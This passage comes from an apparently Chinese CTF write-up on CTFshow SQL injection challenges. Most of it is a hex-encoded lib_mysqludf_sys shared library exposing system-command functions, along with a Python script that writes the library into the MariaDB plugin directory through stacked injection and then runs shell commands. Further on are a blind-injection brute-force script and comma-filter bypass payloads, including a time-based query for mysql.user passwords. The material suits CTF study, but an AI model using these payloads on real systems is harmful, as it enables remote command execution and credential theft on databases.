12000B009F0B0000000000004C00000000000000FF0000001200090088090000000000000000000000000000800100001000F1FF101720000000000000000000000000001501000012000B00130F0000000000002F000000000000008C0100001000F1FF201720000000000000000000000000009B00000012000B00480C0000000000000A000000000000002501000012000B00420F0000000000006700000000000000AA00000012000B00520C00000000000063000000000000005B00000012000B00950B0000000000000A000000000000008E00000012000B00EB0B0000000000005D00000000000000790100001000F1FF101720000000000000000000000000000501000012000B00090F0000000000000A00000000000000C000000012000B00B50C000000000000F100000000000000F700000012000B00A20E00000000000067000000000000003900000012000B004C0B0000000000004900000000000000D400000012000B00A60D0000000000002B000000000000004301000012000B00B30F0000000000005501000000000000005F5F676D6F6E5F73746172745F5F005F66696E69005F5F6378615F66696E616C697A65005F4A765F5265676973746572436C6173736573006C69625F6D7973716C7564665F7379735F696E666F5F696E6974006D656D637079006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974006C69625F6D7973716C7564665F7379735F696E666F007379735F6765745F696E6974007379735F6765745F6465696E6974007379735F67657400676574656E76007374726C656E007379735F7365745F696E6974006D616C6C6F63007379735F7365745F6465696E69740066726565007379735F73657400736574656E76007379735F657865635F696E6974007379735F657865635F6465696E6974007379735F657865630073797374656D007379735F6576616C5F696E6974007379735F6576616C5F6465696E6974007379735F6576616C00706F70656E007265616C6C6F63007374726E6370790066676574730070636C6F7365006C6962632E736F2E36005F6564617461005F5F6273735F7374617274005F656E6400474C4942435F322E322E3500000000000000000000020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001006F0100001000000000000000751A6909000002009101000000000000F0142000000000000800000000000000F0142000000000007816200000000000060000000200000000000000000000008016200000000000060000000300000000000000000000008816200000000000060000000A0000000000000000000000A81620000000000007000000040000000000000000000000B01620000000000007000000050000000000000000000000B81620000000000007000000060000000000000000000000C01620000000000007000000070000000000000000000000C81620000000000007000000080000000000000000000000D01620000000000007000000090000000000000000000000D816200000000000070000000A0000000000000000000000E016200000000000070000000B0000000000000000000000E816200000000000070000000C0000000000000000000000F016200000000000070000000D0000000000000000000000F816200000000000070000000E00000000000000000000000017200000000000070000000F00000000000000000000000817200000000000070000001000000000000000000000004883EC08E8EF000000E88A010000E8750700004883C408C3FF35F20C2000FF25F40C20000F1F4000FF25F20C20006800000000E9E0FFFFFFFF25EA0C20006801000000E9D0FFFFFFFF25E20C20006802000000E9C0FFFFFFFF25DA0C20006803000000E9B0FFFFFFFF25D20C20006804000000E9A0FFFFFFFF25CA0C20006805000000E990FFFFFFFF25C20C20006806000000E980FFFFFFFF25BA0C20006807000000E970FFFFFFFF25B20C20006808000000E960FFFFFFFF25AA0C20006809000000E950FFFFFFFF25A20C2000680A000000E940FFFFFFFF259A0C2000680B000000E930FFFFFFFF25920C2000680C000000E920FFFFFF4883EC08488B05ED0B20004885C07402FFD04883C408C390909090909090909055803D680C2000004889E5415453756248833DD00B200000740C488D3D2F0A2000E84AFFFFFF488D1D130A20004C8D25040A2000488B053D0C20004C29E348C1FB034883EB014839D873200F1F4400004883C0014889051D0C200041FF14C4488B05120C20004839D872E5C605FE0B2000015B415CC9C3660F1F84000000000048833DC009200000554889E5741A488B054B0B20004885C0740E488D3DA7092000C9FFE00F1F4000C9C39090554889E54883EC3048897DE8488975E0488955D8488B45E08B0085C07421488D0DE7050000488B45D8BA320000004889CE4889C7E89BFEFFFFC645FF01EB04C645FF000FB645FFC9C3554889E548897DF8C9C3554889E54883EC3048897DF8488975F0488955E848894DE04C8945D84C894DD0488D0DCA050000488B45E8BA1F0000004889CE4889C7E846FEFFFF488B45E048C7001E000000488B45E8C9C3554889E54883EC2048897DF8488975F0488955E8488B45F08B0083F801751C488B45F0488B40088B0085C0750E488B45F8C60001B800000000EB20488D0D83050000488B45E8BA2B0000004889CE4889C7E8DFFDFFFFB801000000C9C3554889E548897DF8C9C3554889E54883EC4048897DE8488975E0488955D848894DD04C8945C84C894DC0488B45E0488B4010488B004889C7E8BBFDFFFF488945F848837DF8007509488B45C8C60001EB16488B45F84889C7E84BFDFFFF4889C2488B45D0488910488B45F8C9C3554889E54883EC2048897DF8488975F0488955E8488B45F08B0083F8027425488D0D05050000488B45E8BA1F0000004889CE4889C7E831FDFFFFB801000000E9AB000000488B45F0488B40088B0085C07422488D0DF2040000488B45E8BA280000004889CE4889C7E8FEFCFFFFB801000000EB7B488B45F0488B40084883C004C70000000000488B45F0488B4018488B10488B45F0488B40184883C008488B00488D04024883C0024889C7E84BFCFFFF4889C2488B45F848895010488B45F8488B40104885C07522488D0DA4040000488B45E8BA1A0000004889CE4889C7E888FCFFFFB801000000EB05B800000000C9C3554889E54883EC1048897DF8488B45F8488B40104885C07410488B45F8488B40104889C7E811FCFFFFC9C3554889E54883EC3048897DE8488975E0488955D848894DD0488B45E8488B4010488945F0488B45E0488B4018488B004883C001480345F0488945F8488B45E0488B4018488B10488B45E0488B4010488B08488B45F04889CE4889C7E8EFFBFFFF488B45E0488B4018488B00480345F0C60000488B45E0488B40184883C008488B10488B45E0488B40104883C008488B08488B45F84889CE4889C7E8B0FBFFFF488B45E0488B40184883C008488B00480345F8C60000488B4DF8488B45F0BA010000004889CE4889C7E892FBFFFF4898C9C3554889E54883EC3048897DE8488975E0488955D8C745FC00000000488B45E08B0083F801751F488B45E0488B40088B55FC48C1E2024801D08B0085C07507B800000000EB20488D0DC2020000488B45D8BA2B0000004889CE4889C7E81EFBFFFFB801000000C9C3554889E548897DF8C9C3554889E54883EC2048897DF8488975F0488955E848894DE0488B45F0488B4010488B004889C7E882FAFFFF4898C9C3554889E54883EC3048897DE8488975E0488955D8C745FC00000000488B45E08B0083F801751F488B45E0488B40088B55FC48C1E2024801D08B0085C07507B800000000EB20488D0D22020000488B45D8BA2B0000004889CE4889C7E87EFAFFFFB801000000C9C3554889E548897DF8C9C3554889E54881EC500400004889BDD8FBFFFF4889B5D0FBFFFF488995C8FBFFFF48898DC0FBFFFF4C8985B8FBFFFF4C898DB0FBFFFFBF01000000E8BEF9FFFF488985C8FBFFFF48C745F000000000488B85D0FBFFFF488B4010488B00488D352C0200004889C7E852FAFFFF488945E8EB63488D85E0FBFFFF4889C7E8BDF9FFFF488945F8488B45F8488B55F04801C2488B85C8FBFFFF4889D64889C7E80CFAFFFF488985C8FBFFFF488D85E0FBFFFF488B55F0488B8DC8FBFFFF4801D1488B55F84889C64889CFE8D1F9FFFF488B45F8480145F0488B55E8488D85E0FBFFFFBE000400004889C7E831F9FFFF4885C07580488B45E84889C7E850F9FFFF488B85C8FBFFFF0FB60084C0740A4883BDC8FBFFFF00750C488B85B8FBFFFFC60001EB2B488B45F0488B95C8FBFFFF488D0402C60000488B85C8FBFFFF4889C7E8FBF8FFFF488B95C0FBFFFF488902488B85C8FBFFFFC9C39090909090909090554889E5534883EC08488B05A80320004883F8FF7419488D1D9B0320000F1F004883EB08FFD0488B034883F8FF75F14883C4085BC9C390904883EC08E84FF9FFFF4883C408C300004E6F20617267756D656E747320616C6C6F77656420287564663A206C69625F6D7973716C7564665F7379735F696E666F29000000000000006C69625F6D7973716C7564665F7379732076657273696F6E20302E302E33000045787065637465642065786163746C79206F6E6520737472696E67207479706520706172616D6574657200000000000045787065637465642065786163746C792074776F20617267756D656E74730000457870656374656420737472696E67207479706520666F72206E616D6520706172616D6574657200436F756C64206E6F7420616C6C6F63617465206D656D6F7279007200011B033B800000000F00000008F9FFFF9C00000051F9FFFFBC0000005BF9FFFFDC000000A7F9FFFFFC00000004FAFFFF1C0100000EFAFFFF3C01000071FAFFFF5C01000062FBFFFF7C0100008DFBFFFF9C0100005EFCFFFFBC010000C5FCFFFFDC010000CFFCFFFFFC010000FEFCFFFF1C02000065FDFFFF3C0200006FFDFFFF5C0200001400000000000000017A5200017810011B0C0708900100001C0000001C00000064F8FFFF4900000000410E108602430D0602440C070800001C0000003C0000008DF8FFFF0A00000000410E108602430D06450C07080000001C0000005C00000077F8FFFF4C00000000410E108602430D0602470C070800001C0000007C000000A3F8FFFF5D00000000410E108602430D0602580C070800001C0000009C000000E0F8FFFF0A00000000410E108602430D06450C07080000001C000000BC000000CAF8FFFF6300000000410E108602430D06025E0C070800001C000000DC0000000DF9FFFFF100000000410E108602430D0602EC0C070800001C000000FC000000DEF9FFFF2B00000000410E108602430D06660C07080000001C0000001C010000E9F9FFFFD100000000410E108602430D0602CC0C070800001C0000003C0100009AFAFFFF6700000000410E108602430D0602620C070800001C0000005C010000E1FAFFFF0A00000000410E108602430D06450C07080000001C0000007C010000CBFAFFFF2F00000000410E108602430D066A0C07080000001C0000009C010000DAFAFFFF6700000000410E108602430D0602620C070800001C000000BC01000021FBFFFF0A00000000410E108602430D06450C07080000001C000000DC0100000BFBFFFF5501000000410E108602430D060350010C0708000000000000000000FFFFFFFFFFFFFFFF0000000000000000FFFFFFFFFFFFFFFF00000000000000000000000000000000F01420000000000001000000000000006F010000000000000C0000000000000088090000000000000D000000000000004811000000000000F5FEFF6F00000000B8010000000000000500000000000000E805000000000000060000000000000070020000000000000A000000000000009D010000000000000B000000000000001800000000000000030000000000000090162000000000000200000000000000380100000000000014000000000000000700000000000000170000000000000050080000000000000700000000000000F0070000000000000800000000000000600000000000000009000000000000001800000000000000FEFFFF6F00000000D007000000000000FFFFFF6F000000000100000000000000F0FFFF6F000000008607000000000000F9FFFF6F0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000F81420000000000000000000000000000000000000000000B609000000000000C609000000000000D609000000000000E609000000000000F609000000000000060A000000000000160A000000000000260A000000000000360A000000000000460A000000000000560A000000000000660A000000000000760A0000000000004743433A2028474E552920342E342E3720323031323033313320285265642048617420342E342E372D3429004743433A2028474E552920342E342E3720323031323033313320285265642048617420342E342E372D31372900002E73796D746162002E737472746162002E7368737472746162002E6E6F74652E676E752E6275696C642D6964002E676E752E68617368002E64796E73796D002E64796E737472002E676E752E76657273696F6E002E676E752E76657273696F6E5F72002E72656C612E64796E002E72656C612E706C74002E696E6974002E74657874002E66696E69002E726F64617461002E65685F6672616D655F686472002E65685F6672616D65002E63746F7273002E64746F7273002E6A6372002E646174612E72656C2E726F002E64796E616D6963002E676F74002E676F742E706C74002E627373002E636F6D6D656E7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001B0000000700000002000000000000009001000000000000900100000000000024000000000000000000000000000000040000000000000000000000000000002E000000F6FFFF6F0200000000000000B801000000000000B801000000000000B400000000000000030000000000000008000000000000000000000000000000380000000B000000020000000000000070020000000000007002000000000000780300000000000004000000020000000800000000000000180000000000000040000000030000000200000000000000E805000000000000E8050000000000009D0100000000000000000000000000000100000000000000000000000000000048000000FFFFFF6F0200000000000000860700000000000086070000000000004A0000000000000003000000000000000200000000000000020000000000000055000000FEFFFF6F0200000000000000D007000000000000D007000000000000200000000000000004000000010000000800000000000000000000000000000064000000040000000200000000000000F007000000000000F00700000000000060000000000000000300000000000000080000000000000018000000000000006E000000040000000200000000000000500800000000000050080000000000003801000000000000030000000A000000080000000000000018000000000000007800000001000000060000000000000088090000000000008809000000000000180000000000000000000000000000000400000000000000000000000000000073000000010000000600000000000000A009000000000000A009000000000000E0000000000000000000000000000000040000000000000010000000000000007E000000010000000600000000000000800A000000000000800A000000000000C80600000000000000000000000000001000000000000000000000000000000084000000010000000600000000000000481100000000000048110000000000000E000000000000000000000000000000040000000000000000000000000000008A00000001000000020000000000000058110000000000005811000000000000EC0000000000000000000000000000000800000000000000000000000000000092000000010000000200000000000000441200000000000044120000000000008400000000000000000000000000000004000000000000000000000000000000A0000000010000000200000000000000C812000000000000C812000000000000FC01000000000000000000000000000008000000000000000000000000000000AA000000010000000300000000000000C814200000000000C8140000000000001000000000000000000000000000000008000000000000000000000000000000B1000000010000000300000000000000D814200000000000D8140000000000001000000000000000000000000000000008000000000000000000000000000000B8000000010000000300000000000000E814200000000000E8140000000000000800000000000000000000000000000008000000000000000000000000000000BD000000010000000300000000000000F014200000000000F0140000000000000800000000000000000000000000000008000000000000000000000000000000CA000000060000000300000000000000F814200000000000F8140000000000008001000000000000040000000000000008000000000000001000000000000000D3000000010000000300000000000000781620000000000078160000000000001800000000000000000000000000000008000000000000000800000000000000D8000000010000000300000000000000901620000000000090160000000000008000000000000000000000000000000008000000000000000800000000000000E1000000080000000300000000000000101720000000000010170000000000001000000000000000000000000000000008000000000000000000000000000000E60000000100000030000000000000000000000000000000101700000000000059000000000000000000000000000000010000000000000001000000000000001100000003000000000000000000000000000000000000006917000000000000EF00000000000000000000000000000001000000000000000000000000000000010000000200000000000000000000000000000000000000581F00000000000068070000000000001B0000002C00000008000000000000001800000000000000090000000300000000000000000000000000000000000000C02600000000000042030000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000003000100900100000000000000000000000000000000000003000200B80100000000000000000000000000000000000003000300700200000000000000000000000000000000000003000400E80500000000000000000000000000000000000003000500860700000000000000000000000000000000000003000600D00700000000000000000000000000000000000003000700F00700000000000000000000000000000000000003000800500800000000000000000000000000000000000003000900880900000000000000000000000000000000000003000A00A00900000000000000000000000000000000000003000B00800A00000000000000000000000000000000000003000C00481100000000000000000000000000000000000003000D00581100000000000000000000000000000000000003000E00441200000000000000000000000000000000000003000F00C81200000000000000000000000000000000000003001000C81420000000000000000000000000000000000003001100D81420000000000000000000000000000000000003001200E81420000000000000000000000000000000000003001300F01420000000000000000000000000000000000003001400F81420000000000000000000000000000000000003001500781620000000000000000000000000000000000003001600901620000000000000000000000000000000000003001700101720000000000000000000000000000000000003001800000000000000000000000000000000000100000002000B00800A0000000000000000000000000000110000000400F1FF000000000000000000000000000000001C00000001001000C81420000000000000000000000000002A00000001001100D81420000000000000000000000000003800000001001200E81420000000000000000000000000004500000002000B00A00A00000000000000000000000000005B00000001001700101720000000000001000000000000006A00000001001700181720000000000008000000000000007800000002000B00200B0000000000000000000000000000110000000400F1FF000000000000000000000000000000008400000001001000D01420000000000000000000000000009100000001000F00C01400000000000000000000000000009F00000001001200E8142000000000000000000000000000AB00000002000B0010110000000000000000000000000000C10000000400F1FF00000000000000000000000000000000D40000000100F1FF90162000000000000000000000000000EA00000001001300F0142000000000000000000000000000F700000001001100E0142000000000000000000000000000040100000100F1FFF81420000000000000000000000000000D01000012000B00D10D000000000000D1000000000000001501000012000B00130F0000000000002F000000000000001E01000020000000000000000000000000000000000000002D01000020000000000000000000000000000000000000004101000012000C00481100000000000000000000000000004701000012000B00A90F0000000000000A000000000000005701000012000000000000000000000000000000000000006B01000012000000000000000000000000000000000000007F01000012000B00A20E00000000000067000000000000008D01000012000B00B30F0000000000005501000000000000960100001200000000000000000000000000000000000000A901000012000B00950B0000000000000A00000000000000C601000012000B00B50C000000000000F100000000000000D30100001200000000000000000000000000000000000000E50100001200000000000000000000000000000000000000F901000012000000000000000000000000000000000000000D02000012000B004C0B00000000000049000000000000002802000022000000000000000000000000000000000000004402000012000B00A60D0000000000002B000000000000005302000012000B00EB0B0000000000005D000000000000006002000012000B00480C0000000000000A000000000000006F02000012000000000000000000000000000000000000008302000012000B00420F0000000000006700000000000000910200001200000000000000000000000000000000000000A50200001200000000000000000000000000000000000000B902000012000B00520C0000000000006300000000000000C10200001000F1FF10172000000000000000000000000000CD02000012000B009F0B0000000000004C00000000000000E30200001000F1FF20172000000000000000000000000000E80200001200000000000000000000000000000000000000FD02000012000B00090F0000000000000A000000000000000D0300001200000000000000000000000000000000000000220300001000F1FF101720000000000000000000000000002903000012000000000000000000000000000000000000003C03000012000900880900000000000000000000000000000063616C6C5F676D6F6E5F73746172740063727473747566662E63005F5F43544F525F4C4953545F5F005F5F44544F525F4C4953545F5F005F5F4A43525F4C4953545F5F005F5F646F5F676C6F62616C5F64746F72735F61757800636F6D706C657465642E363335320064746F725F6964782E36333534006672616D655F64756D6D79005F5F43544F525F454E445F5F005F5F4652414D455F454E445F5F005F5F4A43525F454E445F5F005F5F646F5F676C6F62616C5F63746F72735F617578006C69625F6D7973716C7564665F7379732E63005F474C4F42414C5F4F46465345545F5441424C455F005F5F64736F5F68616E646C65005F5F44544F525F454E445F5F005F44594E414D4943007379735F736574007379735F65786563005F5F676D6F6E5F73746172745F5F005F4A765F5265676973746572436C6173736573005F66696E69007379735F6576616C5F6465696E6974006D616C6C6F634040474C4942435F322E322E350073797374656D4040474C4942435F322E322E35007379735F657865635F696E6974007379735F6576616C0066676574734040474C4942435F322E322E35006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974007379735F7365745F696E697400667265654040474C4942435F322E322E35007374726C656E4040474C4942435F322E322E350070636C6F73654040474C4942435F322E322E35006C69625F6D7973716C7564665F7379735F696E666F5F696E6974005F5F6378615F66696E616C697A654040474C4942435F322E322E35007379735F7365745F6465696E6974007379735F6765745F696E6974007379735F6765745F6465696E6974006D656D6370794040474C4942435F322E322E35007379735F6576616C5F696E697400736574656E764040474C4942435F322E322E3500676574656E764040474C4942435F322E322E35007379735F676574005F5F6273735F7374617274006C69625F6D7973716C7564665F7379735F696E666F005F656E64007374726E6370794040474C4942435F322E322E35007379735F657865635F6465696E6974007265616C6C6F634040474C4942435F322E322E35005F656461746100706F70656E4040474C4942435F322E322E35005F696E697400 '
codes = []
for i in range(0, len(code), 128):
codes.append(code[i:min(i + 128, len(code))])


def commit_payload(payload: str):
requests.get(url + f'''0';{payload};-- A''')


# 第一次运行建临时表
# sql='''create table temp(data longblob)'''


# 清空临时表
commit_payload('''delete from temp''')

# 插入第一段数据
commit_payload('''insert into temp(data) values (0x{})'''.format(codes[0]))

# 更新连接剩余数据
for k in range(1, len(codes)):
commit_payload('''update temp set data = concat(data,0x{})'''.format(codes[k]))

# 10.3.18-MariaDB
# 写入so文件
commit_payload('''select data from temp into dumpfile '/usr/lib/mariadb/plugin/udf.so\'''')

# 引入自定义函数
commit_payload('''create function sys_eval returns string soname 'udf.so\'''')

# 命令执行,结果更新到界面
commit_payload(
'''update ctfshow_user set pass=(select sys_eval('cat /flag.????'))''')

# 查看结果
r = requests.get(url[:-4] + '?page=1&limit=10')
print(r.text)

两个脚本都跑了一次,都ok,第一个要快些

quine注入

Quine指的是自产生程序,简单的说,就是输入的sql语句与要输出的一致,下面是例题。

(比如,输入的password和数据库中存储的一样的时候才会输出flag)

1
2
$password=$_POST['passwd'];
$sql="SELECT passwd FROM users WHERE username='bilala' and passwd='$password';";
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

url = 'http://node4.anna.nssctf.cn:28457/index.php'
str = '1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
flag = ''
# 使用前先看看过滤的内容有哪些
for i in range(62):
for j in str:
data = {
'username': 'admin', "password": f"-1'/**/or/**/password/**/like/**/'{flag + j}%'#"
}
response = requests.post(url, data=data)
if "something wrong" not in response.text:
flag = flag + j
print(response.text)
break

Nosql注入

web249 -253

nosql我还没学,待补充

CTFSHOW WEB入门 SQL注入篇 - b477eRy - 博客园 (cnblogs.com)

练题补充

绕过逗号

有回显

原本union正常语句

1
select user_id,user,password from users union select 1,2,3;

使用join绕过

1
select user_id,user,password from users union select * from ((select 1)A join (select 2)B join (select 3)C);
盲注中逗号绕过

逗号绕过 SUBTTRING 函数
substring(str FROM pos)
从字符串str的起始位置pos 返回一个子串

1
union select case when substring((select password from mysql.user where user='root') from 1 for 1)='e' then sleep(5) else 0 end #
  • 标题: CTFshow SQL注入解题记录
  • 作者: Ko1sh1
  • 创建于 : 2021-12-24 09:55:59
  • 更新于 : 2024-05-30 21:58:30
  • 链接: https://ko1sh1.github.io/2021/12/24/blog_ctfshow_sql注入/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论
此页目录
CTFshow SQL注入解题记录